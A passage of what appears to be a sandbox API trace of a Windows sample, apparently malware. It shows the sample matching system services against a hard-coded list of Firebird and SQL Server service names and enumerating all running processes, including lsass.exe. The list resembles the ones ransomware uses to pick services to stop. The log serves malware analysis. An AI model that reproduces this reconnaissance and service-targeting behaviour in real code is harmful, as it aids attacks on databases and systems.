[0104.759] lstrlenW (lpString="Power") returned 5 [0104.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0104.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0104.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0104.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0104.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0104.759] lstrlenW (lpString="ProfSvc") returned 7 [0104.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0104.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0104.759] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0104.759] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0104.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0104.769] lstrlenW (lpString="RpcEptMapper") returned 12 [0104.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0104.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0104.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0104.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0104.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0104.769] lstrlenW (lpString="RpcSs") returned 5 [0104.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0104.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0104.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0104.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0104.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0104.769] lstrlenW (lpString="SamSs") returned 5 [0104.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0104.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0104.769] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0104.769] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0104.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0104.770] lstrlenW (lpString="Schedule") returned 8 [0104.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0104.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0104.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0104.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0104.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0104.770] lstrlenW (lpString="SecurityHealthService") returned 21 [0104.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0104.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0104.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0104.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0104.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0104.770] lstrlenW (lpString="SENS") returned 4 [0104.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0104.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0104.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0104.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0104.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0104.770] lstrlenW (lpString="ShellHWDetection") returned 16 [0104.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0104.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0104.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0104.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0104.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0104.770] lstrlenW (lpString="Spooler") returned 7 [0104.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0104.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0104.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0104.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0104.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0104.771] lstrlenW (lpString="SSDPSRV") returned 7 [0104.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0104.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0104.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0104.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0104.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0104.771] lstrlenW (lpString="StateRepository") returned 15 [0104.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0104.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0104.771] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0104.771] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0104.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0104.771] lstrlenW (lpString="SysMain") returned 7 [0104.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0104.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0104.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0104.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0104.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60fb70 | out: hHeap=0x5b0000) returned 1 [0104.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0104.779] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.780] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0104.781] lstrlenW (lpString="System") returned 6 [0104.781] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0104.782] lstrlenW (lpString="smss.exe") returned 8 [0104.782] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.783] lstrlenW (lpString="csrss.exe") returned 9 [0104.783] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0104.783] lstrlenW (lpString="wininit.exe") returned 11 [0104.783] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.785] lstrlenW (lpString="csrss.exe") returned 9 [0104.785] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0104.786] lstrlenW (lpString="winlogon.exe") returned 12 [0104.786] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0104.786] lstrlenW (lpString="services.exe") returned 12 [0104.786] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0104.787] lstrlenW (lpString="lsass.exe") returned 9 [0104.787] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.788] lstrlenW (lpString="svchost.exe") returned 11 [0104.788] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.789] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0104.789] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.790] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0104.790] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.790] lstrlenW (lpString="svchost.exe") returned 11 [0104.790] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.791] lstrlenW (lpString="dwm.exe") returned 7 [0104.791] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.792] lstrlenW (lpString="svchost.exe") returned 11 [0104.792] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.793] lstrlenW (lpString="svchost.exe") returned 11 [0104.793] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.794] lstrlenW (lpString="svchost.exe") returned 11 [0104.794] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.794] lstrlenW (lpString="svchost.exe") returned 11 [0104.794] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.795] lstrlenW (lpString="svchost.exe") returned 11 [0104.795] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.796] lstrlenW (lpString="svchost.exe") returned 11 [0104.796] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.796] lstrlenW (lpString="svchost.exe") returned 11 [0104.796] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.797] lstrlenW (lpString="svchost.exe") returned 11 [0104.797] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.798] lstrlenW (lpString="svchost.exe") returned 11 [0104.798] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0104.884] lstrlenW (lpString="spoolsv.exe") returned 11 [0104.884] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.886] lstrlenW (lpString="svchost.exe") returned 11 [0104.886] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.886] lstrlenW (lpString="svchost.exe") returned 11 [0104.887] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0104.887] lstrlenW (lpString="audiodg.exe") returned 11 [0104.887] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0104.890] lstrlenW (lpString="sihost.exe") returned 10 [0104.890] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.891] lstrlenW (lpString="svchost.exe") returned 11 [0104.891] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.892] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.892] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0104.896] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0104.896] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0104.914] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0104.915] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0104.915] lstrlenW (lpString="explorer.exe") returned 12 [0104.915] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0104.932] lstrlenW (lpString="Memory Compression") returned 18 [0104.932] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0104.933] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0104.933] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0104.933] lstrlenW (lpString="SearchUI.exe") returned 12 [0104.933] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0104.934] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0104.934] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.935] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0104.935] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.936] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.936] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0104.937] lstrlenW (lpString="UsoClient.exe") returned 13 [0104.937] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.938] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.938] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0104.939] lstrlenW (lpString="msoia.exe") returned 9 [0104.939] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0104.939] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0104.940] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0104.940] lstrlenW (lpString="msoia.exe") returned 9 [0104.940] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0104.953] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0104.953] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0104.954] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0104.954] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0104.954] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0104.955] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0104.955] lstrlenW (lpString="arc obviously.exe") returned 17 [0104.955] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0104.957] lstrlenW (lpString="scholars.exe") returned 12 [0104.957] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0104.958] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0104.958] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0104.958] lstrlenW (lpString="organizing.exe") returned 14 [0104.959] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0104.959] lstrlenW (lpString="campus.exe") returned 10 [0104.959] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0104.960] lstrlenW (lpString="mug.exe") returned 7 [0104.960] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0104.961] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0104.961] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, 